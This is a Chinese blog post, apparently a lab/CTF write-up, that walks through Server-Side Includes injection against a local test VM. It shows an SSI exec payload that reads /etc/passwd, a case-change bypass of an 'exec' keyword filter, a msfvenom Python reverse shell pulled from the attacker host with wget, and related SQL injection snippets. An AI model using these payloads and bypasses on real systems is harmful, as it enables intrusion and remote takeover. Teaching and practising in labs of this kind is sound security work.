CTF-SSI注入

2024-02-29 01:32
文章标签 注入 ctf ssi

本文主要是介绍CTF-SSI注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

SSI注入

SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于CGI,用于执行动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
参考链接:https://blog.csdn.net/bylfsj/article/details/101451413

实验环境:

攻击者:Kali Linux(192.168.100.146)
靶机:VMware workstations Pro——Ubuntu 6(32-bit)(192.168.100.133)

实验流程:

  • 端口扫描,服务探测
    命令:nmap -sV 192.168.100.133
    开放了80端口,Web服务——Apache服务器
    在这里插入图片描述
  • 目录扫描
    命令:dirb http://192.168.100.133
    敏感目录:robots.txt文件、ssi目录等
    在这里插入图片描述
  • Web详细信息探测
    命令:nikto -host http://192.168.100.133
    发现了敏感文件:index.shtml
    在这里插入图片描述
  • 网站下面有Ssi目录,结合该网站目录下面的index.shtml,判断该网站可能使用了ssi技术。
    在这里插入图片描述
  • 网站下面的index中存放着SSI命令执行的关键字
    在这里插入图片描述
  • http://192.168.100.133/index.php中疑似有命令执行功能,通过上面的关键字构建要执行的命令。<-- #exec cmd=“cat /etc/passwd” -->
    在这里插入图片描述
  • 网站对用户输入的内容进行了过滤,Target输入框中对尖括号进行了过滤,Feedback输入框中对exec关键字进行了过滤。
    在这里插入图片描述在这里插入图片描述
  • 尖括号绕过方式有限,尝试绕过对于关键字exec的检测过滤,使用大小写的方式绕过。
    在这里插入图片描述在这里插入图片描述
  • 成功绕过防御,构造命令
    在这里插入图片描述在这里插入图片描述
  • 生成木马,上传到靶机root用户家目录
    利用msfvenom生成木马,利用python反弹shell
    在这里插入图片描述
  • 将生成的木马放在/var/www/html(httpd服务的网站主目录)下面
    在这里插入图片描述
  • 启动kali的httpd服务
    在这里插入图片描述
  • 靶机上面执行命令使用wget下载文件并执行。 wget http://192.168.100.146/shell.py
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • 监听端口,反弹shell
    在这里插入图片描述在这里插入图片描述
  • 执行木马
    在这里插入图片描述
  • 反弹shell
    在这里插入图片描述
    在这里插入图片描述
  • 优化shell
    在这里插入图片描述
  • 获取权限
    在这里插入图片描述

这篇关于CTF-SSI注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/757199

相关文章

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

PHP防止SQL注入详解及防范

SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞。 一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。 对于攻击者来说,进行SQL注入攻击需要思考和试验,对数据库方案进行有根有据的推理非常有必要(当然假设攻击者看不到你的

PHP防止SQL注入的方法(2)

如果用户输入的是直接插入到一个SQL语句中的查询,应用程序会很容易受到SQL注入,例如下面的例子: $unsafe_variable = $_POST['user_input'];mysql_query("INSERT INTO table (column) VALUES ('" . $unsafe_variable . "')"); 这是因为用户可以输入类似VALUE”); DROP TA

PHP防止SQL注入的方法(1)

(1)mysql_real_escape_string – 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: $sql = "select count(*) as ctr from users where username ='".mysql_real_escape_string($username)."' and password='". mysql_r

Go 依赖注入库dig

简介 今天我们来介绍 Go 语言的一个依赖注入(DI)库——dig。dig 是 uber 开源的库。Java 依赖注入的库有很多,相信即使不是做 Java 开发的童鞋也听过大名鼎鼎的 Spring。相比庞大的 Spring,dig 很小巧,实现和使用都比较简洁。 快速使用 第三方库需要先安装,由于我们的示例中使用了前面介绍的go-ini和go-flags,这两个库也需要安装: $ go g

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

Web安全之SQL注入:如何预防及解决

SQL注入(SQL Injection)是最常见的Web应用漏洞之一,它允许攻击者通过注入恶意SQL代码来操作数据库,获取、修改或删除数据。作为Java开发者,理解并防止SQL注入攻击是至关重要的。在本篇文章中,我们将详细介绍SQL注入的原理,演示如何在电商交易系统中出现SQL注入漏洞,并提供正确的防范措施和解决方案。 1. 什么是SQL注入? SQL注入是一种通过在用户输入中嵌入恶意SQL代

网络安全(sql注入)

这里写目录标题 一. information_schema.tables 和 information_schema.schemata是information_schema数据库中的两张表1. information_schema.schemata2. information_schema.tables 二. 判断注入类型1. 判断数字型还是字符型注入2. 判断注入闭合是""还是'' 三. 判

Java抽象类使用@Autowired注入实例

示例代码如下: 抽象类 public abstract class AbstractWaterMark {@Autowiredprivate AchievementApplicationService achievementApplicationService;public AchievementApplication queryByCode(String code){return achiev

MyBatis-Plus 框架 QueryWrapper UpdateWrapper 方法修复sql注入漏洞事件

什么是漏洞? 漏洞是指软件、系统或网络中存在的安全弱点或错误,这些弱点可能导致系统遭受攻击或被不当使用。在计算机安全领域,漏洞通常源于编程错误、设计缺陷或配置失误。 对于对象关系映射(ORM)框架来说,漏洞通常指的是设计或实施中的安全问题,这些问题可能让应用程序面临SQL注入攻击的风险。 SQL 注入漏洞 如果ORM框架在执行SQL操作时没有正确过滤或转义用户输入,攻击者可以利用输入的恶意数据